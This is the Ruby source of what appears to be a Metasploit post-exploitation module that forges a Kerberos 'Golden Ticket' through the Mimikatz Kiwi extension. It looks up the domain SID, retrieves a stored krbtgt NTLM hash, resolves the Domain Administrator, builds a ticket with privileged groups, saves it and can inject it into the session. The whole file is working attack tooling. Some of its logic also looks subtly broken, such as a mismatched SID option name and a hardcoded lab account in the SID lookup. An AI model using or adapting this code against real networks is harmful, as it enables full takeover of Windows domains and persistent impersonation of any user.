require 'msf/core' require 'msf/core/post/windows/netapi' require 'msf/core/post/windows/kiwi' require 'msf/core/post/windows/error' class Metasploit3 < Msf::Post include Msf::Post::Windows::NetAPI include Msf::Post::Windows::Accounts include Msf::Post::Windows::Kiwi include Msf::Post::Windows::Error def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Escalate Golden Ticket', 'Description' => %q{ This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no options are applied it will attempt to identify the current domain, the domain administrator account, the target account SID, and retrieve the krbtgt NTLM hash from the database. By default the well-known Administrator's groups 512, 513, 518, 519, and 520 will be applied to the ticket. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'References' => [ ['URL', 'https:/github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos'], ['URL', 'http://blog.cobalstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/'] ] )) register_options( [ OptBool.new('USE', [true, 'Use the ticket in the current session', false]), OptString.new('USER', [false, 'Target User']), OptString.new('DOMAIN', [false, 'Target Domain']), OptString.new('KRBTGT_HASH', [false, 'KRBTGT NTLM Hash']), OptString.new('Domain SID', [false, 'Domain SID']), OptInt.new('ID', [false, 'Target User ID']), OptString.new('GROUPS', [false, 'ID of Groups (Comma Seperated)']) ], self.class) end def run return unless load_kiwi user = datastore['USER'] domain = datastore['DOMAIN'] krbtgt_hash = datastore['KRBTGT_HASH'] domain_sid = datastore['SID'] id = datastore['ID'] || 0 groups = [] groups = datastore['GROUPS'].split(',').map(&:to_i) if datastore['GROUPS'] unless domain print_status('Searching for the domain...') domain = get_domain if domain print_good("Targeting #{domain}") else fail_with(Failure::Unknown, 'Unable to retrieve the domain...') end end unless krbtgt_hash if framework.db.active print_status('Searching for krbtgt hash in database...') krbtgt_hash = lookup_krbtgt_hash(domain) fail_with(Failure::Unknown, 'Unable to find krbtgt hash in database') unless krbtgt_hash else fail_with(Failure::BadConfig, 'No database, please supply the krbtgt hash') end end unless domain_sid print_status("Obtaining #{domain} SID...") domain_sid = lookup_domain_sid(domain) if domain_sid print_good("Found #{domain} SID: #{domain_sid}") else fail_with(Failure::Unknown, "Unable to find SID for #{domain}") end end unless user if id && id != 0 print_status("Lookup up User #{id}") user = resolve_sid("#{domain_sid}-#{id}")[:name] else print_status('Looking up Domain Administrator account...') user = resolve_sid("#{domain_sid}-500")[:name] end if user print_good("Found User: #{user}") else fail_with(Failure::Unknown, 'Unable to find User') end end unless user && domain && domain_sid && krbtgt_hash fail_with(Failure::Unknown, 'Not all requirements obtained') end print_status("Creating Golden Ticket for #{domain}\\#{user}...") ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups) if ticket print_good('Golden Ticket Obtained!') ticket_location = store_loot("golden.ticket", "binary/kirbi", session, ticket, "#{domain}\\#{user}-golden_ticket.kirbi", "#{domain}\\#{user} Golden Ticket") print_status("Ticket saved to #{ticket_location}") if datastore['USE'] print_status("Attempting to use the ticket...") client.kiwi.kerberos_ticket_use(ticket) print_good("Kerberos ticket applied successfully") end else fail_with(Failure::Unknown, 'Unable to create ticket') end end def lookup_domain_sid(domain) string_sid = nil cb_sid = 0 cch_referenced_domain_name = 0 sid_buffer = nil referenced_domain_name_buffer = nil # Send 0 length buffers so we get the correct buffer sizes from the out values buffers = client.railgun.advapi32.LookupAccountNameA( nil, 'administrator@metasploitable.local', sid_buffer, cb_sid, referenced_domain_name_buffer, cch_referenced_domain_name, 1) if !buffers['return'] && buffers['GetLastError'] == INSUFFICIENT_BUFFER sid_buffer = cb_sid = buffers['cbSid'] referenced_domain_name_buffer = cch_referenced_domain_name = buffers['cchReferencedDomainName'] res = client.railgun.advapi32.LookupAccountNameA( nil, domain, sid_buffer, cb_sid, referenced_domain_name_buffer, cch_referenced_domain_name, 1) else return nil end if res['return'] sub_authority_count = res['Sid'].unpack('CC')[1] sid = res['Sid'].unpack("CCCCCCCCV#{sub_authority_count}") string_sid = "S-#{sid[0]}-#{sid[7]}-#{sid[8]}-#{sid[9]}-#{sid[10]}-#{sid[11]}" else print_error("Error looking up SID: #{res['ErrorMessage']}") end string_sid end def lookup_krbtgt_hash(domain) krbtgt_hash = nil krbtgt_creds = Metasploit::Credential::Core.joins(:public, :private).where( metasploit_credential_publics: { username: 'krbtgt' }, metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id) if krbtgt_creds if krbtgt_creds.count == 0 print_error('No KRBTGT Hashes found in database') elsif krbtgt_creds.count > 1 # Can we reduce the list by domain... krbtgt_creds_realm = krbtgt_creds.select { |c| c.realm.to_s.upcase == domain.upcase } # We have found a krbtgt hashes in our target domain if krbtgt_creds_realm.length == 1 cred = krbtgt_creds_realm.first krbtgt_hash = cred.private.data.split(':')[1] print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}") return krbtgt_hash # We have found multiple krbtgt hashes in our target domain?! elsif krbtgt_creds_realm.length > 0 krbtgt_creds = krbtgt_creds_realm end # Multiple hashes found, the user will have to manually set one... print_error('Multiple KRBTGT Hashes found in database, please use one of the below:') krbtgt_creds.each do |kc| hash = kc.private.data.split(':')[1] print_line("#{kc.realm}:#{kc.public.username}:#{hash}") end else # Highlander, there can only be one! cred = krbtgt_creds.first krbtgt_hash = cred.private.data.split(':')[1] print_good("Using #{cred.realm}:#{cred.public.username}:#{krbtgt_hash}") end end krbtgt_hash end end